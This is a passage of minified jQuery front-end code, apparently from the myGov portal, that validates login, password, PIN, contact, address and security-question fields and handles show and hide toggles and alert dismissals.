Date(),"DD/MM/YYYY"),$year=$parent.find("[data-date-year]"),$day=$parent.find("[data-date-day]"),year=$parent.find("[data-date-year]").val(),month=$parent.find("[data-date-month]").val(),day=$parent.find("[data-date-day]").val(),isPartial=!($day.length>0),isDateFilledIn=chkDateFilledIn($year),$doc="";if(isPartial){if(month!==""||year!==""){$doc=month+"/"+year;validDate=isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{if(optional){if(day!==""||month!==""||year!==""){$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);}}var dateOfChange=moment($doc,"DD/MM/YYYY"),duration=moment.duration(now.diff(dateOfChange)),days=duration.asDays(),inFuture=!(days>=0)&&(testFuture);if($("[data-date]").val()==="optional"){return;}else{if(!isDateFilledIn||!validDate){$("[data-date]").val("NaN");return;}else{if(!inFuture&&validDate&&isDateFilledIn){$("[data-date]").val($doc);}else{if(inFuture){$("[data-date]").val("future");}}}}};})(jQuery);(function($){$(document).ready(function(){var initToggle=function(){$(".showPassword").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="";if($passwordInput.attr("data-new-password")!==undefined){relatedInputStr="data-reenter-password";}else{if($passwordInput.attr("data-new-pin")!==undefined){relatedInputStr="data-reenter-pin";}}if($passwordInput.attr("data-reenter-password")!==undefined){relatedInputStr="data-new-password";}else{if($passwordInput.attr("data-reenter-pin")!==undefined){relatedInputStr="data-new-pin";}}if(relatedInputStr!==""){$relatedElementInput=$("["+relatedInputStr+"]");$relatedElementInputButton=$relatedElementInput.siblings("button");}$inputType=$passwordInput.attr("type");if($inputType.toLowerCase()==="password"){setPwdHide($this);if(relatedInputStr!==""){setPwdHide($relatedElementInputButton);}}else{setPwdShow($this);if(relatedInputStr!==""){setPwdShow($relatedElementInputButton);}}});};var setPwdShow=function($this){var $passwordInput=$this.siblings("input");$showpasswordhelptext="Note: this will visually expose your password on the screen.";$showhelp=$("#show-hide-helpmsg");$passwordInput.attr("type","password");$this.attr("aria-label","Show password as plain text.").attr("aria-describedby","show-hide-helpmsg").html("Show");$showhelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$showpasswordhelptext+"</p>");};var setPwdHide=function($this){var $passwordInput=$this.siblings("input");$passwordInput.attr("type","text");var $hidepasswordhelptext="Note: this will visually stop exposing your password on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide password").attr("aria-describedby","show-hide-helpmsg").html("Hide");$hidehelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$hidepasswordhelptext+"</p>");};$('input[type="password"]').each(function(){var $this=$(this),showhide="";showhide='<button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p>';$this.before(showhide);});$("[data-current-password]").on("focusout",function(){validateCurrentPwd($(this));});$("[data-new-password]").on("blur",function(){$relatedElementInput=$("[data-reenter-password]");validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Enter your new password","p");}if($relatedElementInput.val()!=""){$relatedElementInput.trigger("keyup");}});$("[data-reenter-password]").on("blur",function(){validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}});$("[data-new-password]").on("keyup",function(){var errmsg="",password=$(this).val(),rule0=(/\s/g).test(password),rule1=formHelper.chkTooManyCharacters($(this),64);if(rule0){errmsg="Your password can't contain spaces";}else{if(rule1){errmsg="Password cannot be longer than 64 characters";}}if(errmsg!==""){formHelper.setError($(this),errmsg,"p");}else{formHelper.clearError($(this));}});$("[data-reenter-password]").on("blur",function(){var $compareWith=$("[data-new-password]"),isSame=($(this).val()===$compareWith.val());if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}else{if(isSame){formHelper.setSuccess($(this),"The passwords are the same","p");}else{formHelper.setError($(this),"The password you've re-entered doesn't match your new password","p");}}});$("[data-reenter-password]").on("keyup",function(){var $compareWith=$("[data-new-password]"),isSame=formHelper.isTypingSame($(this),$compareWith),errMsg="",successMsg="";if(isSame!==undefined){if(isSame){errMsg="";successMsg="The passwords are the same";}else{errMsg="The password you've re-entered doesn't match your new password";successMsg="";}if(formHelper.isNotEmpty($(this).val())){(errMsg!=="")?formHelper.setError($(this),errMsg,"p"):formHelper.setSuccess($(this),successMsg);}}});initToggle();});var validateCurrentPwd=function($elem){if(formHelper.chkFieldIsEmpty($elem)){formHelper.setError($elem,"Enter your current password","p");}else{formHelper.clearError($elem);}};var isthreeSequential=function(char1,char2,char3){var next=String.fromCharCode(char1.charCodeAt()+1);if(char2===next){var afternext=String.fromCharCode(char2.charCodeAt()+1);return char3===afternext;}return false;};var isthreeRepeated=function(char1,char2,char3){if(char1===char2){return(char2===char3);}};var chkSeqRep=function(str){var count=0;for(var x=0;x<str.length;x++){var c=str.charAt(x);var d=str.charAt(x+1);var e=str.charAt(x+2);if(isthreeSequential(c,d,e)||isthreeRepeated(c,d,e)){var x=x+2;count++;}}return(count>1);};var validateNewPwd=function($elem){var password=$elem.val(),relatedInputStr,errStatus,curPwd=$("[data-current-password]").val(),rule1=!(/^(?=.*[0-9])(?=.*[a-zA-Z])(([a-zA-Z0-9\!\@\#\$\%\^\&\*]){7,})$/).test(password),rule1=!(/^.{7,}$/).test(password),rule1b=!(/^[\s\da-zA-Z!@#$%^&*]*$/).test(password),rule2=!(/(([a-zA-Z]){1,})+/).test(password),rule3=!(/(([0-9]){1,})+/).test(password),rule4=(/(.)\1{3,}/).test(password),rule5=(/(abcd|bcde|cdef|defg|efgh|fghi|ghij|hijk|ijkl|jklm|klmn|lmno|mnop|nopq|opqr|pqrs|qrst|rstu|stuv|tuvw|uvwx|vwxy|wxyz)+/i).test(password.toLowerCase()),rule6=(/(0123|1234|2345|3456|4567|5678|6789|7890)+/i).test(password.toLowerCase()),rule7=chkSeqRep(password),rule8=(/\s/g).test(password),rule9=formHelper.chkTooManyCharacters($elem,64),rule10=(password===curPwd);errmsg="";if(rule1){errmsg="Your password must have at least 7 characters.";}else{if(rule2){errmsg="Your password must include a letter.";}else{if(rule3){errmsg="Your password must include a number.";}else{if(rule4){errmsg="Your password can't have more than 3 of the same numbers or letters in a row.";}else{if(rule5){errmsg="Your password can't have more than 3 letters in alphabetical order.";}else{if(rule7){errmsg="Your password can't repeat a sequence of any 3 letters or numbers.";}else{if(rule8){errmsg="Your password can't contain spaces.";}else{if(rule6){errmsg="Your password can't have more than 3 numbers in numerical order.";}else{if(rule1b){errmsg="Your password can only use these special characters !@#$%^&*.";}else{if(rule9){errmsg="Password cannot be longer than 64 characters.";}else{if(rule10){errmsg="Your new password can't be the same as your current password.";}}}}}}}}}}}if(formHelper.isNotEmpty(password)){if(errmsg!=""){formHelper.setError($elem,errmsg,"p");}else{formHelper.clearError($elem);}}};})(jQuery);(function($){$(document).ready(function(){$("[data-email-address]").on("blur",function(){if($(this).val().trim()!==""){if(formHelper.isEmailValid($(this).val().trim())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}}else{formHelper.clearError($(this));}});var contactNumber=function(){var $mobile=$("[data-mobile-number]"),$home=$("[data-home-number]"),$work=$("[data-work-number]");$("[data-mobile-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-mobile-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04","p");}}else{formHelper.clearError($(this));if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isHomeNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island landline phone number. Australian landline numbers contain 10 digits and begin with 02, 03, 07 or 08","p");}}else{formHelper.clearError($(this));if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isWorkNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island phone number. Australian phone numbers contain 10 digits and begin with 02, 03, 07, 08 or 04 for mobile numbers","p");}}else{formHelper.clearError($(this));if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-home-number], [data-work-number]").on("keyup blur",function(e){if(this.value.length>0){$(this).parent().next('[type="checkbox"]').prop("disabled",false).attr("aria-disabled",false);}else{$(this).parent().next('[type="checkbox"]').prop("disabled",true).attr("aria-disabled",true);if(e.type==="blur"){$(this).parent().next('[type="checkbox"]').prop("checked",false);}}});$("[data-home-number], [data-work-number]").trigger("keyup");};contactNumber();$("[data-showmore-hideself]").on("click",function(){$(".moreUpdates[hidden]").slice(0,10).removeAttr("hidden aria-hidden");if($(".moreUpdates[hidden]").length===0){$(this).parent().hide();}});});})(jQuery);$(document).ready(function(){$("[data-email-addr]").on("blur",function(){if(formHelper.isEmailValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}});$("[data-number-email-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your email address","p");}});$("[data-number-mobile-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your mobile number","p");}});$("[data-number-totp--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"To continue, enter a code from the myGov Code Generator app","p");}});});$("[data-mobile-num]").on("blur",function(){if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04.","p");}});const securityCodesInfo=document.querySelector("#security-codes-info");if(securityCodesInfo){securityCodesInfo.setAttribute("hidden","true");}$("[data-infotext-toggle]").on("click",function(){const securityCodesInfo=document.querySelector("#security-codes-info");const hidden=securityCodesInfo.getAttribute("hidden");var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);if(hidden==null){securityCodesInfo.setAttribute("hidden","true");}else{securityCodesInfo.removeAttribute("hidden");}});$(":radio[data-inbox-pref]").on("change",function(){var selected=this.value;switch(selected){case"mobile":formHelper.clearError($("[data-email-addr]"));formHelper.resetDefaultValue($("[data-email-addr]"));$("[data-email-addr]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-mobile-num]").closest($("label")).removeAttr("hidden aria-hidden");break;case"email":formHelper.clearError($("[data-mobile-num]"));formHelper.resetDefaultValue($("[data-mobile-num]"));$("[data-mobile-num]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-email-addr]").closest($("label")).removeAttr("hidden aria-hidden");break;default:}});(function($){var initSQA=function(){var $form=$(".sqa-form"),$question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$(".selectRadio input:radio").on("blur change",function(){var selectedRadioName=$(".selectRadio input:radio:checked").val();if((selectedRadioName)===undefined){formHelper.setErrorSelect($(".selectRadio"),"Make a selection");}else{formHelper.clearErrorSelect($(".selectRadio"));}});$question.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="Enter a question";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The question can't be more than 100 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($question);}chkQuestionAnswerSame();});$answer.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="Enter an answer";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The answer can't be more than 40 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($answer);}});$question.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="The question can't be more than 100 characters, including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});$answer.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="The answer can't be more than 40 characters including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});var chkQuestionAnswerSame=function(){var errMsg="The question and answer must be different";$questionValue=$question.length>0?$question.val().trim().toLowerCase():"";$answerValue=$answer.val().trim().toLowerCase();if(!$questionValue||!$answerValue||(!$questionValue&&!$answerValue)){return;}if($questionValue===$answerValue){return true;}else{return false;}};};var toggleOwnQuestion=function(){var $question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$("[data-prefillquestion]").prev("input").on("change",function(){$question.val($(this).next().text());$question.parent().hide();});$("input[name=radioQuestion]").on("change",function(){var $selectedQuestion=$("input[name=radioQuestion]:checked"),$lastQuestion=$("input[name=radioQuestion]").last();if($selectedQuestion.val()!==$answer.val()){formHelper.clearError($answer);}else{formHelper.setError($answer,"The question and answer must be different","p");}if($lastQuestion.is(":checked")){formHelper.clearError($selectedQuestion);formHelper.clearError($answer);$question.val("");$question.parent().show().css("display","block");}else{formHelper.clearError($question);$question.parent().hide();}});};toggleOwnQuestion();initSQA();})(jQuery);(function($){$(document).ready(function(){if($("[data-date]").length>0){if($("[data-date]").val()!==""){var date=$("[data-date]").val().split("/");var $parent=$(".date-fields");day=$parent.find("[data-date-day]").val(date[0]);month=$parent.find("[data-date-month]").val(date[1]);year=$parent.find("[data-date-year]").val(date[2]);formHelper.enableDate();}}$("#raetDiv-home").on("change","input",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}});$("#same-as-residential").on("change",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}else{$("#postal-section input").val("");}});$("#same-as-residential").on("click",function(){$("#postal-section").toggle();});$("#raetDiv-home, #raetDiv-postal").on("blur keyup","input",function(){resetDate();});var homeSectionBlank=function(){var blank=true;$("#raetDiv-home input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var postalSectionBlank=function(){var blank=true;$("#raetDiv-postal input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var resetDate=function(){var homeBlank=homeSectionBlank();var postalBlank=postalSectionBlank();var blank=homeBlank&&postalBlank;blank?formHelper.disableDate():formHelper.enableDate();};var mapHomePostal=function(){$("#delivery-address-line-1-singleLine").val($("#residential-address-line-1-singleLine").val());$("#postal-address").val($("#home-address").val());$("#postal-suburb").val($("#home-suburb").val());$("#postal-postcode").val($("#home-postcode").val());$("#postal-state").val($("#home-state").val());};function raetToggleText(element,name){if($("#raetDiv-"+name).attr("data-view")==="multi"){element.text("Find my "+name+" address");}if($("#raetDiv-"+name).attr("data-view")==="single"){element.text("I can't find my "+name+" address");}}function raetToggleView(name){$(".raet-"+name+"-anchor").on("click",function(){$("#raetDiv-"+name).attr("data-view",function(index,attr){return attr=="multi"?"single":"multi";});raetToggleText($(this),name);if($("#raetDiv-"+name).attr("data-view")==="multi"){raetAddress("multi",name);}if($("#raetDiv-"+name).attr("data-view")==="single"){raetAddress("single",name);}$(this).attr("aria-pressed","true").attr("aria-live","polite").attr("aria-atomic","true");$("#raetDiv-"+name).find("input")[0].focus();resetDate();});}raetToggleView("home");raetToggleView("postal");function removeContainers(root){if(root){$("> .raet-container",$(root)).remove();}}function raetAddress(view,name){var rootContainer=$("#raetDiv-"+name);if(rootContainer){removeContainers(rootContainer);var config={webService:"prod_secure",destination:document.getElementById("raetDiv-"+name),fields:{streetAddress:document.getElementById(name+"-address"),suburb:document.getElementById(name+"-suburb"),postcode:document.getElementById(name+"-postcode"),state:document.getElementById(name+"-state")},labels:{singleLine:"Find address"}};if(view==="single"){config.type="singleLine";}if(view==="multi"){config.integration=true;}Raet(config);}}function raetInit(name){$("#"+name+"-output").each(function(){var allEmpty=true;$(this).find('input[type="text"]').each(function(){if(this.value.trim().length>0){allEmpty=false;$("#raetDiv-"+name).attr("data-view","multi");raetAddress("multi",name);raetToggleText($(".raet-"+name+"-anchor"),name);return false;}});if(allEmpty===true){$("#raetDiv-"+name).attr("data-view","single");raetAddress("single",name);raetToggleText($(".raet-"+name+"-anchor"),name);}});}raetInit("home");raetInit("postal");});})(jQuery);$(document).ready(function(){$("[data-identity-expanded]").on("click",function(){$(this).attr("aria-expanded",function(name,value){return value==="false"?"true":"false";});$(".identity-hub-info-text").slideToggle();clearArrows();if($(this).attr("aria-expanded")==="true"){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").addClass("link-arrow-up");}else{$("#find-out-more-digital-identity").removeClass("link-arrow-up");$("#find-out-more-digital-identity").addClass("link-arrow-down");}});function clearArrows(){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").removeClass("link-arrow-up");}$("[data-login-username]").on("blur",function(){if($(this).val().trim()!==""){var message="Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.";if(formHelper.isEmailValid($(this).val())||(/^[A-z]{2}[0-9]{6}$/g).test($(this).val())||formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),message,"p");}}else{formHelper.setError($(this),"Enter a username or email address","p");}});$("#mygov-beta").on("click",function(e){var action=dynaTrace.enterAction("myGovBetaNav","click");dynaTrace.leaveAction(action);});});window.addEventListener("hashchange",function(event){var element=document.getElementById(location.hash.substring(1));if(element){if(!/^(?:a|select|input|button|textarea)$/i.test(element.tagName)){element.tabIndex=-1;}element.focus();}},false);$("[data-poro-input]").on("blur",function(){if($(this).val()!==""){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{var pattern=new RegExp($(this).attr("data-pattern"));var validPattern=pattern.test($(this).val());if(!validPattern){var patternMsg=$(this).attr("data-pattern-msg");var msg="Enter a valid value";msg=patternMsg!==undefined?patternMsg:msg;formHelper.setError($(this),msg,"p");}else{formHelper.clearError($(this));}}}});$("[data-poro-input-mandatory]").on("blur",function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{if(formHelper.isNotEmpty($(this).val())){if($(this).attr("data-poro-input")===undefined){formHelper.clearError($(this));}}else{formHelper.setError($(this),"Require a value","p");}}});$("[data-poro-checkbox-mandatory]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Must be selected","p");}});$("[data-helptext-toggle]").on("click",function(){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");tabindex=tabindex==="-1"?"0":"-1";$ariaControl.attr("tabindex",tabindex);$ariaControl.toggle();});$("[button-poro-cancel]").on("click",function(e){e.preventDefault();});$("[data-helptext-toggle]").on("keypress",function(e){if(e.which===32){$(this).trigger("click");}if(e.which===9){e.preventDefault();}});$("[data-number--only]").on("blur",function(e){if(formHelper.isNotEmpty($(this).val())&&formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid number","p");}});$("[data-number--optional]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{if(formHelper.isNotEmpty($(this).val())){formHelper.setError($(this),"Enter a valid number","p");}}});$("[data-medicare--input]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))&&$(this).val().length===10){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid medicare number","p");}});$(document).ready(function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){$("input[name*=clkCRN]").addClass("is-visuallyhidden").val("000000000Z");$("button[name=_eventId_next]").text("Continue");}var keyup_checker=function(evt){var stroke,_ref;stroke=(_ref=evt.which)!=null?_ref:evt.keyCode;this.search_field_scale();switch(stroke){case 8:if(this.is_multiple&&this.backstroke_length<1&&this.choices_count()>0){return this.keydown_backstroke();}else{if(!this.pending_backstroke){this.result_clear_highlight();return this.results_search();}}break;case 13:evt.preventDefault();evt.stopPropagation();if(this.results_showing){return this.result_select(evt);}else{this.results_search();}break;case 27:if(this.results_showing){this.results_hide();}return true;case 9:case 38:case 40:case 16:case 91:case 17:case 18:break;default:return this.results_search();}};$(".chosen-select-man, .chosen-select").each(function(i,select){var $select=$(select);var container=$select.chosen($select.hasClass(".chosen-select")?{allow_single_deselect:true}:{});var data=container.data("chosen");if(data){data.keyup_checker=keyup_checker;data.container.on("keydown",function(e){if(e.key==="Enter"||e.keyCode===13){e.preventDefault();e.stopPropagation();}});var showing=false;data.container.focusin(function(e){if(!showing){data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});}});$select.on("chosen:showing_dropdown",function(){showing=true;data.dropdown.css({left:"",bottom:"",overflow:"","z-index":"1"});});$select.on("chosen:hiding_dropdown",function(){showing=false;data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});});}});});$(document).ready(function(){var uPIN={init:function(){uPIN.cacheDom();uPIN.onBlur(uPIN.$newPin);uPIN.onBlur(uPIN.$reenterPin);uPIN.onKeyup(uPIN.$newPin);uPIN.onKeyup(uPIN.$reenterPin);$(uPIN.$currentPin).on("blur",function(){console.log(uPIN.$currentPin);if(!uPIN.isEmpty(this)){return;}});$(uPIN.$newPin).on("blur",function(){if(uPIN.$reenterPin.val()!=""){uPIN.$reenterPin.trigger("keyup");}});uPIN.$Pin=$("[data-pin]");$(uPIN.$currentPin).on("blur",function(){if(!uPIN.isEmpty(this)){return;}});},cacheDom:function(){uPIN.$currentPin=$("[data-current-pin]");uPIN.$newPin=$("[data-new-pin]");uPIN.$reenterPin=$("[data-reenter-pin]");},isEmpty:function(element){if(formHelper.isEmpty(element.value)){formHelper.setError($(element),"Enter a PIN","p");return false;}else{formHelper.clearError($(element));return true;}},onBlur:function(element){$(element).on("blur",function(){uPIN.validate(this);});},onKeyup:function(element){$(element).on("keyup",function(e){if(e.which===9){return;}if(e.which===16){return;}uPIN.match(this);});},match:function(element){var successMsg,errorMsg,isSame;if(element.attributes.hasOwnProperty("data-reenter-pin")){isSame=formHelper.isTypingSame(uPIN.$reenterPin,uPIN.$newPin);}if(isSame!==undefined){if(isSame){successMsg="Your PINs are the same";errorMsg="";}else{errorMsg="The PIN you've re-entered doesn't match your new PIN";successMsg="";}if(formHelper.isNotEmpty(uPIN.$reenterPin.val())){(errorMsg!=="")?formHelper.setError(uPIN.$reenterPin,errorMsg,"p"):formHelper.setSuccess(uPIN.$reenterPin,successMsg);}}},maxChars:function(element){if(element.value.length!==4){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notAscending:function(element){if(element.value.length===4&&"0123456789".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notDescending:function(element){if(element.value.length===4&&"9876543210".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},numericOnly:function(element){if(!(/^\d*$/g).test(element.value)){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},sameDigits:function(element){if((/^([0-9])\1{3}$/g).test(element.value)){formHelper.setError($(element),"Your PIN can't contain 4 of the same number","p");return false;}else{formHelper.clearError($(element));return true;}},validate:function(element){if(!uPIN.isEmpty(element)){return;}if(!uPIN.maxChars(element)){return;}if(!uPIN.numericOnly(element)){return;}if(!uPIN.sameDigits(element)){return;}if(!uPIN.notAscending(element)){return;}if(!uPIN.notDescending(element)){return;}if(!uPIN.match(element)){return;}}};uPIN.init();});$(document).ready(function(){var usernameField=$("[data-username]");function validateUsername($inputField){var unameval=$inputField.val(),unameMatch=unameval?formHelper.isUserIdValid(unameval):false,emailMatch=unameval?formHelper.isEmailValid(unameval):false,mobileMatch=unameval?formHelper.isMobileValid(unameval):false;if(unameMatch||emailMatch||mobileMatch){formHelper.clearError($inputField);if(mobileMatch){formHelper.setInfo($inputField,'You must have this <a href="/mygov/content/html/help.html#MobileNumber">mobile number</a> set up as a username in your Account settings.');}else{formHelper.clearInfo($inputField);}}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.","p");}}usernameField.on("focusout",function(){if(!this.hasAttribute("dont-validate")){validateUsername($(this));}});});$(document).ready(function(){var usernameEmailField=$("[data-username-email]");function validateUsernameEmail($inputField){var unameval=$inputField.val(),emailMatch=unameval?formHelper.isEmailValid(unameval):false;if(emailMatch){formHelper.clearError($inputField);}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email","p");}}usernameEmailField.on("blur",function(){if(!this.hasAttribute("dont-validate")){validateUsernameEmail($(this));}});});(function($){$(":radio[data-apdm]").on("change",function(){var selected=this.value;switch(selected){case"true":$(".button-main").replaceWith('<button type="submit" class="button-main button">Next</button>');break;case"false":$(".button-main").replaceWith('<a href="'+$("#apdmLink").val()+'" role="button" class="button-main button">Next</a>');break;default:}});})(jQuery);(function($){$(window).on("resize",function(){var $expand=$(".outage .expand");if($expand.length&&!$expand.hasClass("expand--expanded")){var content=$(".outage__content").get(0);if(content&&content.offsetWidth>=content.scrollWidth){$expand.attr({"hidden":true,"aria-hidden":true});}else{if($expand.attr("hidden")){$expand.removeAttr("hidden aria-hidden");}}}}).resize();$(".outage").on("click",".expand",function(){$(this).toggleClass("expand--expanded").next(".outage__content").toggleClass("outage__content--expanded");});$("[data-dismiss]").each(function(){$(this).append('<button class="dismiss"><span class="is-visuallyhidden">Dismiss</span></button>');});$("[data-dismiss]").on("click",".dismiss",function(e){e.preventDefault();$(this).parent().fadeOut("fast",function(){$(this).remove();});});$("[data-dismiss-otp-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss/sio");});$("[data-dismiss-inbox-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss-inbox-alert");});$("[data-banner-digiId]").on("click",".data-banner-dismiss-button",function(e){e.preventDefault();$("[data-banner-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});$("[data-alert-digiId]").on("click",".data-alert-dismiss-button",function(e){e.preventDefault();$("[data-alert-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});})(jQuery);(function($){$(document).ready(function(){function wait(seconds,formId){setTimeout(function(){submitForm(formId);},seconds*1000);}function submitForm(formId){try{document.getElementById(formId).submit();}catch(err){}}wait(10,"oidcRedirForm");wait(2,"redirForm");});})(jQuery);$("[data-home-welcome-message]").each(function(){$(this).text("Good "+getGreetingTime(moment())+" ");});function getGreetingTime(m){var g=null;if(!m||!m.isValid()){return;}var split_afternoon=12;var split_evening=17;var currentHour=parseFloat(m.format("HH"));if(currentHour>=split_afternoon&&currentHour<=split_evening){g="afternoon";}else{if(currentHour>=split_evening){g="evening";}else{g="morning";}}return g;}$(function(){var upins=$("#upin-login, #upin-input, #upin-confirm");if(global.getAndroidVersion()<4.3){$("fieldset.pin-fields, div.pin-fields").removeClass("pin-fields");upins.attr({type:"password",pattern:"[0-9]*",inputmode:"numeric"}).val("").focus();}else{upins.val("").pincodeInput({hidedigits:true,inputs:4});var upinData=upins.data("plugin_pincodeInput");if(upinData){}}if(global.getUrlParams().event==="close"){$("a.button-back-home").text("Close").removeClass("button-back").click(function(e){e.preventDefault();window.close();});}});var initPinToggle=function(){$(".showPin").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="",$pinInput=$("#pincode-input");$inputType=$passwordInput.attr("type");if($pinInput.hasClass("conceal")){setPinHide($this);}else{setPinShow($this);}});};var setPinShow=function($this){var $pinInput=$("#pincode-input");$showpinhelptext="Note: this will visually expose your pin on the screen.";$showhelp=$("#show-hide-helpmsg");$pinInput.removeClass("reveal");$pinInput.addClass("conceal");$this.attr("aria-label","Show pin as plain text.").attr("aria-describedby","show-hide-helpmsg").html("<img id='show-hide-icon' src='/mygov/content/mgv2//icons/feather-eye.svg' alt='' /> Show");$showhelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$showpinhelptext+"</p>");};var setPinHide=function($this){var $pinInput=$("#pincode-input");$pinInput.removeClass("conceal");$pinInput.addClass("reveal");var $hidepinhelptext="Note: this will visually stop exposing your pin on the 